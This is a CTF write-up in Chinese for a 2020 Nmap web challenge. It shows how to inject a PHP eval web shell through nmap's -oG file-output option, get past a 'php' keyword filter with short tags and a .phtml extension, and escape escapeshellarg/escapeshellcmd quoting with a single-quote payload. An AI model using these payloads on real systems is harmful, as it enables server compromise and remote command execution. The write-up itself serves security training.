[网鼎杯 2020 朱雀组]Nmap 1
首先得到题目打开得到
说是输入houst和IP进行扫描
测试一波:127.0.0.1
得到:
本地测一下nmap 命令得到:
发现效果一样
这里需要知道
nmap 命令将扫描结果保存在文件里面:
例如:将nmap 127.0.0.1的结果保存在test.txt里面
nmap 127.0.0.1 -oN test.txt
nmap其他写文件命令:
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
这样我们就能写shell
<?= @eval($_POST[1]); ?> -oG a.phtml
回到题目测试得到:
发现有检查测试一下过滤了写什么
发现过滤了php
就想办法绕过:
<?php ?>这里的php用短标签代替:<?= ?>文件格式用:phtml代替
所以playload:
<?= @eval($_POST[1]); ?> -oG a.phtml
发现没有写入文件
应为进行了escapeshellarg()与escapeshellcmd()函数处理保护,没法产生文件
可以进行单引号和空格绕过,
具体看大佬博客:https://paper.seebug.org/164/
得到playload:
' <?= @eval($_POST[1]);?> -oG a.phtml '
写入成功:
访问得到:
执行命令获取flag
参考博客: